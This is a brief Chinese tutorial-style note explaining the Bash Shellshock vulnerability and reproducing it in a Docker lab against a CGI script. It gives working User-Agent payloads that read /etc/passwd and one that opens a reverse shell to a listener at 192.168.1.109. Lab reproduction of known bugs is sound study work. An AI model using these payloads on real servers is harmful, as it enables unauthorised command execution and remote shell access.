bash shellshock
Bash是一个命令处理器,通常运行于文本窗口中,并能执行用户直接输入的命令。Bash还能从文件中读取命令,这样的文件称为脚本。运作的整体流程是,HTTP请求->env环境变量设置函数处理请求头参数->bash对处理后的结果进行eval代码执行->bash将执行后的结果保留在HTTP的环境变量参数中->bashCGI 向客户端返回数据包时将环境参数一并返回
思路
由于bash使用的环境变量是通过函数名称来调用的,所以用“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令,如果我们在后面拼接恶意代码,就会执行。对于CGI脚本来说,HTTP协议中的“key-value”都会变为shell中的“环境变量=值”。
漏洞复现
docker部署环境,完成后访问victim.cgi
User-Agent: () { :; }; echo; /bin/cat /etc/passwd
() { :; }; echo; echo $( /bin/cat /etc/passwd)
部署环境尽量在虚拟机,在服务器上好多地方会出问题
反弹shell
User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.1.109/1234 0>&1;
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。